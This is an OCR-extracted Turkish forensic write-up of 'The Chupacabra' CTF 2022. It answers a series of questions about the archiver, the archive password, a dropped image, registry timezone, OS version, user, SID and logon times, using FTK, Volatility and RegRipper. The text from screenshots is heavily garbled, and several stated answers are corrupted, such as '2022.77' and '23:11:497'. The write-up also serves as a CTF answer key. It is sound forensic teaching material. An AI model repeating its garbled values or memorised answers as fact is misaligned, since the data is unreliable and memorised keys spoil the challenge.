msohtricip1 chupacabra_CTF_2022.E01/Partiton 2NONAME INTFS]/Troot]/ Foder 1368 1368 23.03.2022 16:46:53 (2022-03-23 15:46:53 UTC) 23.03.2022 18:48:53 (2022:03-23 15:48
~  notabadpowershel.pst pst chupacabra 2022.E01/Partition 2/NONAME [NTFS]/[root] L 1 Thittext 2248 2188 O7elic.. 2048dd. 23.02.2022 18:38: 14 (2022-03-23 15:38: 14 UTC) 23.03.2022 18:38: 14 (2022-03-23 15:33
AccessToken.exe exe chupacabra. 2022.E0 1/Partition 2/NONAME [NTFS]/[root] Exe 16,00KB  14,00KB  45clle dddcbe. 23.03.2022 18:38: 10 (2022-03-23 15:38: 10 UTC) 23.03.2022 18:38:10 (2022-03-23 15:38
BodyMassIndex. exe 07 exe chupacabra_CTF_2022.E01/Partition 2/NONAME [NTFS]/[root] L Exe 1892KB  1889KB  556df0.. dS7b25..  23.03.2022 18:38:07 (2022-03-23 15:38:07 UTC) 23.03.2022 18:38:07 (2022-03-23 15:38
~  notamalware. vbs 7071 vbs chupacabra_CTF_2022.E01/Partition 2/NONAME [NTFS]/[root] L b Thittext 40968 6368 d7ebc2...  24fa4f.. 23.03.2022 18:38:04 (2022-03-23 15:38:04 UTC) 23.03.2022 18:38:04 (2022-03-23 15:38
Body Mass Index. sm 125058 xsm xsimexport,xsin.ad1/[root]/Diskimage [2001]/Partition 2/NGNAME NTFS] [root]Users/RickMartinGrimes/Donrloads/Body Mass Index.xdsm  Excel 2., 20,00KB  18,93K8  actb2.. 26ch2e..

Cevap: “notabadmalware.ps1”

23.03,2022 18:37:20 (2022-03-23 15:37:20 UTC) 24.03,2022 10:25:02 (2022-03-24 07:25

Soru 11: Saldirgan Dosya iceriginde Hangi Verileri Degistirdi?

Cevap: Degistirilen dosya icerigine koti amach bir kod yoktu, bostu. VBS kullanilarak icerisine

PowerShell scripti yazildi.

“The Chupacabra” Olayinin Vaka Analizi
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Soru 12: Saldirgan Hangi Arsivieme Yazilimini Kullandi?

Saldirganin hangi arsivieme yazilimini kullanarak dékimanlari sifreledigini anlayabilmek icin 6ncelikle arkada
hangi programlar calismis veya calismaya devam ediyor 68renmemiz gerek. Bunun icin bize verilen bellek imajini
“Volatility 2.6” yardimiyla incelemeye koyuluyoruz.

Volatility, dokumu analiz edebilmek igin kendisine imaji alinan sistemle ilgili birtakim bilgilerin verilmesini de
zorunlu tutar. Bu nedenle 6ncelikle “imageinfo” komutu yardimiyla ihtiyacimiz olan bilgiyi edinmeliyiz.

{J E¥ Administrator: Windows Powe X + > = (m]

PS C:\Analiz> dir

Directory: C:\Analiz

LastWriteTime Length Name

14.04.2022 2147418112 chupacabra_CTF_2022.raw
7.12.2016 15794079 volatility_2.6_win64_standalone.exe

PS C:\Analiz> .\volatility_2.6_winé4_standalone.exe .\chupacabra_CTF_2622.raw imageinfo
Volatility Foundation Volatility Framework 2.6
INFO : volatility.debug : Determining profile based on KDBG search..
Suggested Profile(s) : Win7SP1x64, Win7SPOx64, Win2008R2SPOx64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x6u_234
AS Layerl : WindowsAMD6UPagedMemory (Kernel AS)
AS Layer2 : FileAddressSpace (C:\Analiz\chupacabra_CTF_2022.raw)
PAE type No PAE
DTB : ©x187006L
KDBG 0xf8600027f20a0L
Number of Processors : 1
Image Type (Service Pack) : 1
KPCR for CPU © : Oxfffff800027f3dO6L
KUSER_SHARED_DATA exfffff78000000006L
Image date and time : 2022-03-23 15:56:26 UTC+0000
Image local date and time : 2022-83-23 08:56:26 -0700
PS C:\Analiz>

Daha sonra “pslist” komutunu uygun profil bilgisiyle beraber vererek processleri inceliyoruz. “7za.exe” aradigimiz
sey. Buradan yola cikarak komut satirindan “7-Zip” kullaniimis diyebiliriz.

) E¥ Administrator: Windows Powe X + v = o X

oxfffffageelafcO6@ chrome. 2022-83-23 7367 UTC+00800

Oxfffffa8002014060 chrome. 2022-03-23 136: UTC+0008

oxfffffag8ee39ausde chrome. 2022-03-23 2367 UTC+0000

exfffffag800263eb30 chrome. 2022-83-23 136: UTC+06000

Oxfffffa8001a54060 chrome.exe 2022-83-23 I3 UTC+0000

Oxfffffa8001cl0600 EXCEL.EXE 2022-03-23 37 UTC+0008

oxfffffag8e0le32520 splwow6l.exe 2022-83-23 392 UTC+0000

oxfffffagee1f7eb3e taskhost.exe 2022-03-23 :39: uUTC+0000

oxfffffa80020281de BodyMassIndex. 2022-083-23 THYY UTC+0000

oxfffffa8e8236db38 conhost.exe 2022-083-23 TR UTC+0000

oxfffffag8e0lc3ea70 cmd.exe 2022-03-23 142: UTC+0000 2022-83-23 t42: UTC+0000
oxfffffa8ee1d3f3ue whoami.exe 2022-083-23 H UTC+06000 2022-083-23 t42: UTC+0600
Oxfffffa8002U60220 cmd.exe 2022-03-23 :43: UTC+0060 2022-03-23 43: UTC+0000
Oxfffffa8001996060 cmd.exe 2022-03-23 :4s: UTC+00800 2022-83-23 145: UTC+0000
oxfffffageelbe8970 cmd.exe 2022-03-23 i49: UTC+0000 2022-03-23 t49: UTC+0000
Oxfffffag8e83c07b30 cmd.exe 2022-03-23 149: UTC+0060 2022-63-23 149 UTC+0008
oxfffffag002002060 [ ] @ 2022-083- , UTC+080 -8

oxfffffageelb3auue cmd.exe 2022-03-23 UTC+00600 2022-03-23 UTC+0000
Oxfffffa8002296b36 cmd.exe 2022-03-23 :50: UTC+0060 2022-03-23 :50: UTC+0000
exfffffa8003832060 cmd.exe 2022-03-23 :50: UTC+0000 2022-03-23 :50: UTC+00800
Oxfffffa8001a9a060 cmd.exe 2022-083-23 527 UTC+0000 2022-03-23 :52: UTC+0000
Oxfffffa8eeldc1920 netl.exe 2022-83-23 :52: UTC+0080  2022-83-23 152: UTC+00800
Oxfffffag8e03c1a600 cmd.exe 2022-83-23 :53: UTC+00600 2022-03-23 :53: UTC+0000
oxfffffag8ee2uf2980 netl.exe 2022-03-23 :53: UTC+0000 2022-603-23 :53: UTC+0000
Oxfffffa8e0206c2U40 cmd.exe 2022-03-23 :54: UTC+0000 2022-03-23 :54: UTC+0000
oxfffffag8e0214c5f0 reg.exe 2022-603-23 :54: UTC+00608 2022-03-23 :54: UTC+0000
oxfffffa8002011a30 WmiPrvsE.exe 2022-03-23 1557 UTC+0000

oxfffffa8001e0f060 audiodg.exe 2022-03-23 :56: UTC+06000

Oxfffffag8002999b30 DumpIt.exe 2022-03-23 :56: UTC+0000

oxfffffa8ee2b8e220 conhost.exe 2022-83-23 :56: UTC+00080

Oxfffffag80e023d7920 dllhost.exe 2022-03-23 :56: UTC+0000

PS C:\Akil\Analiz> |

“The Chupacabra” Olayinin Vaka Analizi
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Soru 13: Saldirgan Hangi Dosyay:i Sikistirdi?

Bu sorunun cevabi icin EO1 formatinda verilen disk imajinin yine incelenmesi gerekiyor. Hemen bastaci
programimiz FTK ile saldirganin hangi dosyalari sikistirdigini bulmak icin kontrollerimizi yapiyoruz. Son
olusan dosyalari ve “.7z” uzantisina sahip arsivleri bulmaya calistigimda “Accounting” dizininde bir
seylerin oldugunun farkina varip icerisini gérantaliyorum.

Burada buldugumuz “2022.7z” arsivinin olusma zamani ile bir dnceki soruda elde ettigimiz “7za.exe”nin

calisma zamanini kontrol ettigimizde uyustugunu goériyoruz.

Arada olusan 3 saatlik fark ise Volatility’nin GMT+0, FTK’nin ise GMT+3 cinsinden saat bilgisini
islemesinden kaynaklaniyor.

oxFFFffal ce6e chrome.exe
oxFFfffal 868 chrome.exe
oxFffffal chrome. exe
chrome. exe
chrome.exe 5 uTC+eeee
EXCEL .EXE 6 8 uTC+0860
splwows. exe
91f76b30 taskhost.exe
81d® BodyMassIndex e P 52 45
db38 conhost.exe ] 51 5: us
cmd.exe 568 v 57 UTC+6868 2 57 UTC+e0860
® whoami.exe 35268 : s 57 UTC+6068 5 57 UTC+6080
cmd. exe 568 ) e 2 8 89 UTC+608680 5 89 UTC+6000
cmd . exe 568 = = o S uTC+0068 S ITC+0000
uTC+e000

cnd . exe 568 s UTC+0800 2 538 uTC+0068

cnd . exe 568 L UTC+0860 2822 5:¢ UTC+6000

UTC+0000 2 528 UTC+6000

TC+6000

UTC+6000

UTC+0000

uTC+6068
5 UTC+00600
audiodg.e B 6 L uTC+0000
DumpIt.exe 8! 2 s uTC+0800
conhost 3 0 ; L UTC+0800
dllhost.exe 2 C UTC+0800

1/Iroot]/Accounting/2020

L 4 o 56

= 2.72 72 218 fofec... 5661af,
O e e T = =T e = T
05 7. 13 a 2022.E01/Partition 2/NONAME [NTFS]/[root] /Accounting/7za.dll Exe 376,0K8 3760KB 95fe19.. B93ecS..  23.03.2022 18:48:22 (2022-03-23 15:48:22UTC) 23.03.2022 18:... 23.0
O] 7mexe 2% exe 2022.E01Partiton 2NONAME froot] /Accounting/72a.exe Exe 104KB  1202KB  b7747.. 20c035..  23.03.2022 18:48:53 (20220323 15:48:53 UTC) 2303202 18:... 3.0
[l 72a.exe FileSiack 75007 :_2022.£01/Partibon 2/NONAME [NTFS] /[root] /Accounting/7za.exe. FleSlack Sacks.. 15368 1538 nfa nfa nfa
[ 2137 d chupacabra_CTF_2022.E01/Partition 2/NONAME INTFS]/[root] /Accounting/7zxa. di Exe 2120KB 210,0KB b4789... 97ccSB...  23.03.2022 18:48:39 (2022-03-23 15:48:39 UTC) 23.03.2022 18:... 23.0

Cevap: “2022.77”

“The Chupacabra” Olayinin Vaka Analizi
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Soru 14: Sikistinlmis Dosyanin §

ifresi Nedir?

Vaka tarzinda hazirlanmis bu CTF’de belki de en zorlandigimiz nokta bu idi. Fakat aradigimiz butln
bilginin bellek dokimunde yer aldigindan emindik. Bir dosyayl komut satirindan “7-Zip” arsivi haline
getirmek istersek kullanacagimiz komutlar hemen nedir 6ncelikle 6grenelim.

-p (set Password) switch
Specifies password.

Syntax
-p{password}

{password}
Specifies password.

Examples

7z a archive.7z -psecret -mhe ¥*.txt

compresses *.txt files to archive.7z using password "secret”. Also it encrypts archive headers (-mhe switch), so filenames will be encrypted.

7z x archive.zip -psecret
extracts all files from archive.zip using password "secret".

Commands that can be used with this switch

a (Add), d (Delete), e (Extract), rn (Rename), t (Test), u (Update), x (Extract

with full paths)

Bellek imajlari genellikle saf datalardir. Yani olduklari haliyle alinmislardir, incelemek icin herhangi bir
programa ihtiyaciniz yoktur. Volatility ve benzeri yapilar bu isi kolaylastirdigl icin tercih edilirler. Aksi
halde bir suru gereksiz bilgiyle karsi karsiya kalabilirsiniz. Komut satirindan 7z arsivleyicinin nasil
kullanildigini ve hangi parametrenin parolaya isaret ettigini biliyoruz. Artik herhangi bir Hex editor
yardimiyla imaji acip ilgili stringleri aratabiliriz. Parola karsimizda. Arsivi basariyla cozebiliriz.

<« © 4 [ s Bubilgisayar + Shared Folders (\vmware-host) (Z) » Forensi
Boyut
S Hi erigim
1.424 KB
@ OneDrive 08
3 Bu bilgisayar @
20 Neonet 126 KB
B 30 Nesneler .
5] Belgeler e
& indirlenler fax D ice Agik XML B.. 605 k8
I Masaisti [] Uniform Chart of Accounts. Office Agik XMLB... 0k
b Mazikler
& Resimler *
B Videolar [# File Edit Search View
£ VerelDisk (C) d-iind

ers (e B

Offset(n) 00 01 02

3 Z\Forensic-Shared\2022.72\ - O X 12FCDCDO
. 12FCDCEQ
Dosya Duzenle Goranom  Sik Kullanianlar Araglar Yerdim Lorenoso
- v it 12FCDDO0

Ede  Aykla Sma K ‘\ ? § E\n\ friccandii
e Aykla  Sma Kopyala Tey il Bilgiler Larcopao
¥ |BH z:\Forensic-shared\2022.72\ 12FCDD30
12FCDD40
Ad Boyut Daketlenmig B... Deistirime 12FCDDSO
[FfAccounting Manager Job Description Template.docx 1457755 2161200 2022-03-09 1047 12FCDDEO

21 Accounting Slips.docx 30402 2022-03-09 00:53

21 Accounting Technician Job Description.docx 641867 2020-02-24 0535 Lorcopeo
[ Bank Accountant Resu 128456 2019-07-09 0436 12FCDDRO
635235 2016-05-30 10:50 12FCDDBO
624779 2021-04-09 10:46 12FCDDCO

618804 2021-01-2102:34 jfgggggg =
71 Uniform Chart of Accounts.docx 29936 2022-03-08 09:53 Larcooro
12FCDE0O
12FGDELO
12FCDE20
< 5 12FGDES0
12FCDE40

07 8 oge segilmis 50 00

Offset(h): 12FCDDBO

Cevap: “adeopass”

3w k26

Block(h): 12FCDDBO-12FCDDEF

Analysis Tools Window Help

]| Windows (ansH) Ol he [

, CTF_200212w

9 O 0B 0C OD OE

ength(h): 40

2 ..32.1.%8.M-SEAR
* HTTP/1.1..H
1:19

Overwrite

v O
~ | Data inspector
14 4 » pl
Int& goto: -63
Ulntg. goto: 193
Int16 goto: 31681
UInt16 joto: 31681
Ulnt24 goto: 13663169
Int32 goto: -1580172351
UInt32 goto: 2714794945
Int6d goto: 4336650944164953025
Ulnts4 jo to: 4336650944164933025
WideChar / charl6_t S
UTF-& code point 15t continuation byte invalid
Single (float32) -1,41273856285444E-18
Douible (floatcd) R IFARNARIHASTRTF-19. b

Byte order

@) Little endian O Big endian

+ | [show integers in hexadecimal base

“The Chupacabra” Olayinin Vaka Analizi
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Soru 15: Saldirganin Sisteme Yukledigi “.png" Dosyasi Nedir?

Saldirganin sisteme yukledigi “.png” dosyasini bulabilmek icin 6éncelikle faaliyette bulundugu dizinleri bilmemiz
gerekiyor. Burada 3-4 olasiligimiz var. Birinci lokasyon zararli Excel dosyasinin ilk indigi yer yani “Downloads”
klasorl. Fakat aradigimiz resim burada yok. Temp ise ikinci olasi lokasyonumuz. Fakat aradigimiz seyi yine
goremiyoruz.

Hatirlayacak olursak “Accounting” klasOrU altinda bir arsivieme islemi gerceklestirilmisti. O dizinin igerisini
tekrardan gorintiledigimizde “AdeoWasHere.png” adinda bir gérselin oldugunu fark ediyoruz.

Bir baska yol ise sistemdeki butun “.png” uzantili dosyalari listeleyip en son olusanlara g6z atmak.

idence Filter Tools Manage Help

+] _piter vorger || [ G £

(SUALLH) 9o | G | EIpal | Ineeg

‘ile List

Cevap: “AdeoWasHere.png”

“The Chupacabra” Olayinin Vaka Analizi
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Soru 16: Verilen imajin Hash Degeri Nedir?

Disk imajinin hash degerini “FTK Imager” yardimiyla, “7-Zip” ile veya normal herhangi bir hash kontrol
programi yardimiyla bulabiliriz. Ayrica bize verilen “chupacabra_CTF_2022.txt” isimli dosyanin icerisinde
hash degeri verilmistir. Ayrica FTK Imager araci ile hash karsilastirmasi yaptigimizda, hashlerin uyustugu
gortulmektedir.

| = ~

Name
Sector count
H'MD5 Hash
Computed hash
Stored verification hash
Verify result
B SHA1 Hash
Computed hash
Stored verification hash

Verify result N

i Close

Cevap: f777bf9423f575c7640aca62e8bc16cbb7a13554

“The Chupacabra” Olayinin Vaka Analizi
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Soru 17: Supheli Makinenin Zaman Dilimi Nedir?

Sistemin kullandigl zaman dilimini bulabilmek icin “AcsessData FTK Imager“ kullanarak
“Root/Windows/System32/Config” klasorinde bulunan SYSTEM dosyasini disari export ediyoruz.

File  View Mode Help

aas g d-bs mo 4 DBOHEB? .
tvidence Tree | X |
{2 bg-BG Name I Sizel Type Date Modified
N e [] SECURITY 256 Regularfile  23.03.2022133..
g :g at"‘m =| SECURITY.LOG 1 Regular File 12.04.2011 07:5...
) CorD :]SECURITY.LOG‘I 21 Regular File 23.03.2022 13:3...
[#-{2) catroot2
B ad | ] SECURITY.LOG2 0 RegularFile 14.07.2009 02:3...
B89 Coderiagty [) SOFTWARE 60.160 Regular File 24.03.2022 07:3...
B8 com =| SOFTWARE.LOG 1 Regular File 12.04.2011 07:5...
55 config | [ SOFTWARE.LOG1 256 Regular File 24.03.2022 07:3...
L) Configuration | ] SOFTWARE.LOG1.FileS... 11.264 File Slack
18 credsspl [} SOFTWARE.LOG2 0 Regular File 14.07.2009 02:3...
s cypt32di jSYSTEM 10.240 Regular File 24.03.2022 07:3...
18 cryptnet.di =] SYSTEM.LOG 1 Regular File 12.04.2011 07:5...
T2 cptspdi ] SYSTEM.LOG1 256 Regular File 24.03.2022 07:3...
T2 coyptsvedi [ ] SYSTEM.LOG.FileSlack 768  File Slack
18 cryptuidi (] SYSTEM.LOG2 0 Regular File 14,07.2009 02:3...
-4 csLZ
1@ csrsrvdl 00000072 €5 €7 66 2C 04 00 00-2C 04 00 00 50 D9 &C OA|regsf, --., ---BUL-
13 D3DCompiler_47.dl 000010 |52 3F D8 01 01 00 00 00-05 00 00 00 00 00 00 00 |R2@------rvvnn--
-1 da-DK 000020 (01 00 00 00 20 00 00 00-00 EO 9C 00 01 00 00 00| ---- ---- .
() de-DE 000030 |53 00 59 00 53 00 54 00-45 00 4D 00 00 00 00 00|S-Y-§-T-E-M-----
[-£3) Dism 000040 |00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00| - -cvvrrerennnn-
#-{2) drivers
Cursor pos = 0; dus = 1291228; log sec = 10329824; phy sec = 10536672
“or User Guide, press F1 [ INuml T 2

Daha sonra RegRipper kullanarak TXT dosyasina verileri aktariyoruz.

#) RegRipper, v.3.0 — O b4
File Help

S [C:\Users\Bulut\Desktop\la S YSTEM Browse |

Report File: |C:\Users\Equt\Desl':top\system.trt Browse I

MOTE: This tool does NOT automatically process and incorporate Registry hive
transaction logs. The tool will check to see if the hive is dity.

If you need to process/incorporate transaction logs, please consider using
varp + registryFlush py (Maxim Suhanov) or da.exe (Erc dmmemman).

Rip! Close

Ready. ¥4

“The Chupacabra” Olayinin Vaka Analizi
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Dosya icerisinden “TimeZoneKeyName* ifadesini aratarak sonucumuza ulasiyoruz.

El  system - Not Defteri

Dosya Diizenle Gorindm
Analysis Tip: If the Userlfuthentication wvalue is A. the swvstem mav bhe
susceptible to a priv e
http://www.room362. com/

Timezone ¥ D Je e 2

WinStations\RDP-Tcp key

PortNumber: 338
Analysis Tip: By default, the port number is 3389, but can be changed.
Policies\Microsofti\Windows NT%\Terminal Serwvices not found.

timezone v.20200518
(System) Get TimeZoneInformation key contents

TimeZoneInformation key
ControlSet@81\Control\TimeZoneInformation
LastWrite Time 20822-@3-23 23:11:277
DaylightName @tzres.dll, -211
StandardName .dll,-212
Bias 80 (8 hours)
ActiveTimeBias -> 428 (7 hours)
TimeZoneKeyMame-> Pacific Standard Time me Time ) F EloEEIEL ¢ ¢ HREE &
el g

St 4831, Siit 9 %100 Windows (CRLF)

Cevap: Pacific Standart Time
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Soru 18: Makinenin “LeaseObtainedTime“i Nedir?

Bir dnceki soruda yaptigimiz islemlerin aynisini yaptiktan sonra TXT dosyasinda ilgili bilgiyi aratiyoruz ve

istedigimiz seye erisiyoruz.

E  system - Not Defteri

Dosya Dizenle Gorlinim
(System) Gets NIC info from Svstem hive

Adapter: {34F2511B-DE5: ~ _LeaseObtainediime

LastWrite Time:

UseZeroBroadcast
EnableDeadGWDetect
EnableDHCP
NameServer

Domain
RegistrationEnabled
RegisterAdapterName
DhcpIPAddress
DhcpSubnetMask
DhcpServer

Lease
LeaseObtainedTime
T1

T2
LeaseTerminatesTime
AddressType

2022-03-24 v/:30:00L

0
1
1

1

(%)

g B T
255.255.255.0
10.10.23.1

28800

2022-03-24 07:24:557
2022-03-24 11:24:557
2022-03-24 14:24:557
2022-03-24 15:24:557
(%)

IsServerNapAware
DhcpConnForceBroadcastFlag
DhenTnterfaceOntions E E GBl< hFRRER Bl 3 GBRl<h

St 424, Sut 20 Windows (CRLF)

Cevap: 2022-03-24 07:24:55Z
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Soru 19: Makinenin isletim Sistemi ve SUrumi Nedir?

Son iki soruda da oldugu gibi yine FTK Imager ile config’i disariya export ettikten sonra RegRipper ile
aldigimiz TXT formatindaki verileri inceleyerek isletim sistemi ve slrim bilgisine erisebiliriz.

Her seyi dogru yaptiktan sonra geriye “ProductVersion“ kelimesini TXT dosyamizda aratmak kaliyor.

B software - Not Defteri

Dosya Diizenle Gordnim

\DSCCORECONFPROV.MOF C:\WTNDOWSASYSTEMIDAWREMAFN-LISADSCCORF _MEI €= \WTNDOWSYSYSTEM3I2ZA\EN-US
\PSMODULEDISCOVERYPROVI INDOWSYSYSTEM32\WBEM
\DSCPROXY .MOF C:\WINDOV \WBEM\MPEVAL .MOF C:
\WINDOWS\SYSTEMI2A\WBEM\ s LurE . MUF L \PRUGRAM FLLES \WWUPITUN FLLES\FLLRUsUFT >HARED
\OFFICESOFTWAREPROTECTIONPLATFORM\OSPPWMI . MOF

ProductName D v N =

winver wv.28200525

ProductName Windows 7 Professional

CS5DVersion Service Pack 1

BuildLab 7681.win7spl_gdr.156202-1526

BuildLabEx 7681.18741. amd6dfre.win/spl_gdr.158282-1526
RegisteredOrganization

RegisteredOuner RickMartinGrimes

InstallDate 2022-83-23 23:11:497

(

wowbd v.20200515
e) G

(Softwar ets contents of WOWEA\x86 key
WOoWe4

Microsoft\WOWed\x86 not found.

Mi crosoft\lOWaA Y arm not found.

St 32536, Siit 12 %100 Windows {CRLF)

Cevap:
isletim Sistemi: Windows 7 Professional Service Pack 1
Yapi Numarasi: 7601.win7sp1_gdr.150202-1526
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Soru 20: isletim Sistemi Ne Zaman Kuruldu?

Son (¢ soruda oldugu gibi FTK Imager ile config’i disariya export ettikten sonra RegRipper ile aldigimiz
TXT formatindaki verileri inceleyerek isletim sisteminin ne zaman kurulduguna ve kullanici bilgilerine
erisebiliriz.

Baska ugrasa gerek kalmadan ihtiyacimiz olan bilgiyi kolayca elde edebiliyoruz. Cunku
“/Windows/System32/config” bize zaten halihazirdaki sistem yapilandirmasi hakkinda oldukca fazla
bilgi sunuyor.

Geriye sadece “InstallDate” kelimesini aratmak kaliyor.

B software - Not Defteri

Dosya Diizenle Gorindm

\DSCCORECONFPROV.MOF C:\WTNDOWS\SYSTFMI2\WRFM\FN_IJS\NSCCORF_MFl € - \WTNDOWS\ SYSTEM32\EN-US
\PSMODULEDISCOVERYPROV] INDOWSYSYSTEM32\WEEM
ADSCPROXY .MOF C:\WINDO \WBEM\MPEVAL .MOF C:
\WINDOWSASYSTEMI2AWBEM\ s Lune .mur L \PRUGKAM FLILES \WWUMPUN FILESYMILrusUE 1T SAARED
\OFFICESOFTWAREPROTECT IONPLATFORM\OSPPWMI . MOF

InstallDate o I T =

winver v.20288525
(Software) Get Windows version & build info

ProductName Windows 7 Professional
CSDVersion Service Pack 1

BuildlLab 7601 .win7spl gdr.1582082-152
BuildlLabEx 7601.18741 . amdbdfre.win/spl
RegisteredOrganization

RegisteredOwner RickMartinGrimes
InstallDate 2022-83-23 23:11:497

6

gdr.158202-1

wowbd v.20208515
(Software) Gets contents of WOWG4\x86 key

WoWed
Microsoft\WOWe4 \x86 not found.
Mi crosoftAWWAA arm not found.

St 32542, Siit 12 %100 Windows {CRLF}

Cevap: 2022-03-23 23:11:497
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Soru 21: SUpheli islemler Hangi Kullanici ile Yapildi?

“PassMark OSForensics* aracini kullanarak EO1 imajimizdan bu bilgiyi kolaylikla elde edebiliriz. Hem
ucretsiz bir yazilim, hem de disk imaji inceleme konusunda neredeyse “FTK“ kadar gelismis ve ¢cok daha
kolay kullanima sahip.

Imaj iceriye aktardiktan hemen sonra “User Activity“ diyoruz ve “Quick Filter kismina "Body" yaziyoruz.
Cunku aradigimiz ve zararh batun islemlerin en basindan baslatildigl Excel dosyasinin adi
“BodyMassIndex.xlsm* idi.

Butln alakali seyleri listelettikten sonra User kolonunda calistiran kullanicinin yazdigini géruyoruz.

\ Hel
o Woriflow @) User Activity g
=¥
- Live Acquisition of Current Machine Actvily Fiters: Active - Match Any Config.
:J: Start Timeline Fiter Off Scan
@ Scan Drive: [EA\ - Quick FRer. pogy 63 [Reset Fiters
a e 1455
an AutoTriage T A7) « | [ Fie Detais | Filo List | Timeine Fekal o 1455
: Manage Case J¥E) Mozt Recently Used (4] tem Activiy Type User Time Source Flags
#%) MS Office - Recent Docs (1) [~ &) BodyMass Index dsm Most Recently Used M5 0. RickMartinGrimes Date Last Accessed
& Create Forensic Image 3 r C [ %) BodyMass Index.dsm Most Recently Used [Wind . RickMartinGrimes e Last Accessed
w [~ & BodyMass Indexxdem Most Recently Used [Wind . RickMartinGrmes pic] 8 53
&Y Mount Drive Image P ™ | C\Usess\RickMarinGirimes\Downloads\Body Mass Indexdsm  Jump Lists RickMartinGrimes 20 18
B e " 9 BodyMass Indexdsm Downloads RickMartinGrimes 230 1837:21 Date Downioad Started
O A Bewice [~ @ BodyMass Indexssm Downloads RickMatinGrimes 23032022.1837.20 Date Download Started
1 —_ P : ‘ [T ) BodyMass Index dsm Most Recently Used [Wind . RickMartinGrimes
3

-Q File System Browser

v

o, File Viewer D Me e -Re
} Windows - Recent Documents (2]
&)} System Information

& memory Viewer
8 mmryromm—

y
®

" user Activity 5 Windows Explorer - Recent ltems (1)
; ) i

L, Passwords ©

4 (> ]
& File name Search "

L
 Deleted Files Search i
v

”c Mismatch Files Search 4 TI0 G '

. . 7| Show Empty Activity Types

Cevap: “RickMartinGrimes*
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Soru 22: Supheli Kullanici En Son Ne Zaman Giris Yaph?

PassMark OSForensic‘e imajimizi “import“ ettikten sonra bu bilgiyi elde etmek icin tekrar “User Activity“
diyoruz ve “Quick Filter” kismina "successful logon" yazdik. Bu, Windows sistemlerde bir kullanici
tarafindan hesaba basarili giris yapildiginda alinan register kaydinin ismi diyebiliriz.

Time kolonunun ustune iki kere tikladiktan sonra bize son girisleri listeliyor. Kullanicisi
"RickMartinGrimes" olan ilk satirin Time degerini aldik.

TOSForensi -
H
QI’ Workflow QI-\ User Activity elp
d & Activiy Fiters: Active - Match Any =
2 = Live Acquisition of Current Machine Timeline Fiker. Off -
® ScanDive [EA - Quick FRet. syccessh logon Gol [fose) | [ Fiess
A Auto Triage T RIETI 6 Total lteme: 1455
) Manage Case ) Moxt Recent ! Item Activiy Type User > Tine Time Souce Flag *
. 8] M5 Dffice - Recent ( " 4 SuccesshiLogon Event Logs SYSTEM 24032022, 021347 Event Time
S Create Forensic Image 3 W [T 4 Successtul Logon Event Logs SYSTEM 24.03.2022, 021347 Event Time
- W i ped ) [T & Successhi Logon Event Logs SYSTEM 24032022, 021328 Event Time
&Y Mount Drive Image P e h \ [T . Successhu Logon Event Logs SYSTEM 24032022, 021313 Event Time
Niaa B v [T 5 SuccesshiLogon Event Logs SYSTEM 24.032022,021313 Event Time
R A povice b I 171 Successhi Logon Event Logs RickMastnGrimes 24032022, 021152 Evert Tme
Qv s
x Successtul Logon Event Logs RickMatinGrimes 24032022, 021152 Event Time
% soot virtual Hachine Qu o I~ & Successhd Logon Event Logs SYSTEM 2032022,021148 Event Time
. 3 [T & SuccesshiLogon Event Logs ANONYMOUS LOGON 24002022, 02112 Event Time
Y Che Systm Do I M [~ 4 SuccesshiLogon Event Logs SYSTEM 24002022, 021121 Evert Time
D re B Me [T & SuccesshuLogon Event Logs SYSTEM 24032022.0211:21 Evert Time
Q A [T i SuccesshiLogon Event Logs LOCAL SERVICE 24032022, 021054 Evert Time
s e = " i Successhilogon Event Logs SYSTEM 24.032022, 021054 Evert Time
- [T i SuccesshiLogon Event Logs SYSTEM 24032022, 021054 Event Time
« S e & [T & Successhul Logon Event Logs NETWORK SERVICE 24.03.2022, 021051 Event Time
& Wind [T & Successhi Logon Evert Loge SYSTEM 24032022, 021051 Event Time
P — B wir i Successhul Logon Event Logs SYSTEM 24032022, 021051 Event Time
! User Activity ; I 9 og:
=3 8 Recent Dox [~ 4 Successh Logon Event Logs SYSTEM 24032022, 021030 Evert Time
e © S [T 4 Successhi Logon Event Logs SYSTEM 24032022, 0210:30 Event Time
> . : || Successful Logon Event Logs ANONYMOUS LOGON 24032022, 020351 Evert Time
&Y File Name Search > ™ & Successhil Logon Event Logs SYSTEM 24032022, 020950 Evert Time
4 [~ & Successhilogon Evert Logs SYSTEM 24032022, 020949 Evert Time
4 Deleted Files Search UG Instaled F [~ 4 SuccesshiLogon Event Logs SYSTEM 24.032022, 020949 Evert Time
VIS Autons nand [T 3 SuccesstlLogon Event Loos SYSTEM 24.032022 020943 Event Time
”c Mismatch Files Search 5T Clobosd (0 « || L
% rogram Artéacts 7] Show Emply Activity Types
= 4 TmeDea

Cevap: 24.03.2022, 02:11:52
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Soru 23: SiUpheli islemleri Gerceklestiren SID Degeri Nedir?

Bir kullanicinin SID degerini 6grenmek icin SOFTWARE klasérintin altindaki “ProfileList” dosyasina bakmamiz
gerekmektedir. Oncelikle bu klasorl (Dosya yolu: C:\Windows\system32\config) “FTK Imager” araci ile disari
clkartiyoruz.

File View Mode Help
aE% - ad- s m B OB I[EER T,

Evidence Tree > | File List
& appidsve.di A Name Size Type Date Modified
DarSA .
& audiodg.exe SAM.LOG2 0 Regular F... 14.07.2009 02:...
& AudioEng.dil SECURITY 256 Regular F... 23.03.2022 13:...
& AUDIOKSE.dI SECURITY.LOG 1 Regular F.. 12.04.2011 07-..
¥ AudioSes.dll ) .
I audiosrv.dll SECURITY.LOG1 21 Regular F... 23.03.2022 13....
& auditpol.exe [ SECURITY.LOG2 0 Regular F... 14.07.2009 02:...
‘;bg-BG 60.160 Regular F... 24.03.2022 07....
blackbox dil " .
&6 Boot SOFTWARE FileSlack 32 File Slack
(5 catroot SOFTWARE.LOG 1 Regular F.. 12.04.2011 07...
[+ catroot2 0 T
&= cidl o
[+ Codelntegrity °-t-\-5
m-3-2-\
5 com i-g\-§
[+ config v ARE-
PR S -ofa
< > fai

90|01 00 00 o £ n-olk

Custom Content Sources

Evidence:File System|Path|... Options 0|00 00 00 00 00 00 o6 00 00 00 00

00 00 00 00 00 00 08 00 00 00 00
00 00 00 00 00 00 Q€

00 00 00 00

00 00 00 00 00 00 QF 00 00 00 00

Ardindan Registry Explorer isimli arac ile icerigini inceliyoruz. ProfileList’in konumu:
“SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList”dir. Bu konuma gittig§imizde islemleri
